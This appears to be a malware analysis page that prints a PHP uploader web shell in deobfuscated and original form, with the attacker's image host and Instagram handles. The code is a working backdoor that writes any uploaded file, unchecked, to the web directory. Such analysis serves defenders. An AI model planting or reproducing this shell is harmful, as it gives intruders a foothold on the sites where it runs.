PHP Malware Analysis

Back to list

Tags

URLs
https://mrvgunz.xyz/Image/VGM4.png
http://instagram.com/mrvgunz
http://instagram.com/mrh4ted
Environment
getcwd

Deobfuscated code

<?php

if (!empty($_FILES['uploaded_file'])) {
    $path = getcwd() . "/";
    $path .= basename($_FILES['uploaded_file']['name']);
    if (move_uploaded_file($_FILES['uploaded_file']['tmp_name'], $path)) {
        echo "<p style=\"text-align: center;\"><span style=\"color: #00ff00;\">successfully uploaded</span></p>";
    } else {
        echo "<div><div style=\"text-align: center;\"><span style=\"color: #ff0000;\">There was an error uploading the file, please try again!</span></div></div>";
    }
}
?>
<html>
<body>
<p style="text-align: center;"><img style="display: block; margin-left: auto; margin-right: auto;" src="https://mrvgunz.xyz/Image/VGM4.png" width="347" height="319" /><span style="color: #808080;"></span></p>
<h2><p style="text-align: center;"><strong><span style="color: #00ff00; font-family: monospace;"><a style="color: #00ff00;" href="http://instagram.com/mrvgunz">@MrVGunz</a> <span style="color: #ffffff;">&amp;</span> <span style="color: #ff0000;"><a style="color: #ff0000;" href="http://instagram.com/mrh4ted" target="_blank">@MrH4ted</a></span></span></strong></p></h2>

<form style="text-align: center;" enctype="multipart/form-data" action="" method="POST">
<h2><p style="text-align: center; font-family: monospace;"><span style="color: #00ff00;">Upload</span> <span style="color: #ffffff;">your</span> <span style="color: #ff0000;">file</span></p></h2>
  <input type="file" name="uploaded_file"></input><br />
  <input type="submit" class="button" value="Upload"></input>
<script>
  const actualBtn = document.getElementById('actual-btn');
const fileChosen = document.getElementById('file-chosen');
actualBtn.addEventListener('change', function(){
  fileChosen.textContent = this.files[0].name})
  </script>
  </form>
</body>
</body>
<style>
body{
    background-color:#000;
}
input[type="file"], textarea{
    color : #ff0000;
    font-family: monospace;
    font-size: 17px;
}
input[type="submit"]{
  font-size: 15px;
}
.button {
  transition-duration: 0.4s;
}

.button:hover {
  background-color: #4CAF50; /* Green */
  color: white;
}
</style>
</html>


Original code

<?php
if(!empty($_FILES['uploaded_file']))
{
  $path = getcwd() . "/";
  $path = $path . basename( $_FILES['uploaded_file']['name']);

  if(move_uploaded_file($_FILES['uploaded_file']['tmp_name'], $path)){
    echo "<p style=\"text-align: center;\"><span style=\"color: #00ff00;\">successfully uploaded</span></p>";
  } else{
      echo "<div><div style=\"text-align: center;\"><span style=\"color: #ff0000;\">There was an error uploading the file, please try again!</span></div></div>";
  }
}
?>
<html>
<body>
<p style="text-align: center;"><img style="display: block; margin-left: auto; margin-right: auto;" src="https://mrvgunz.xyz/Image/VGM4.png" width="347" height="319" /><span style="color: #808080;"></span></p>
<h2><p style="text-align: center;"><strong><span style="color: #00ff00; font-family: monospace;"><a style="color: #00ff00;" href="http://instagram.com/mrvgunz">@MrVGunz</a> <span style="color: #ffffff;">&amp;</span> <span style="color: #ff0000;"><a style="color: #ff0000;" href="http://instagram.com/mrh4ted" target="_blank">@MrH4ted</a></span></span></strong></p></h2>

<form style="text-align: center;" enctype="multipart/form-data" action="" method="POST">
<h2><p style="text-align: center; font-family: monospace;"><span style="color: #00ff00;">Upload</span> <span style="color: #ffffff;">your</span> <span style="color: #ff0000;">file</span></p></h2>
  <input type="file" name="uploaded_file"></input><br />
  <input type="submit" class="button" value="Upload"></input>
<script>
  const actualBtn = document.getElementById('actual-btn');
const fileChosen = document.getElementById('file-chosen');
actualBtn.addEventListener('change', function(){
  fileChosen.textContent = this.files[0].name})
  </script>
  </form>
</body>
</body>
<style>
body{
    background-color:#000;
}
input[type="file"], textarea{
    color : #ff0000;
    font-family: monospace;
    font-size: 17px;
}
input[type="submit"]{
  font-size: 15px;
}
.button {
  transition-duration: 0.4s;
}

.button:hover {
  background-color: #4CAF50; /* Green */
  color: white;
}
</style>
</html>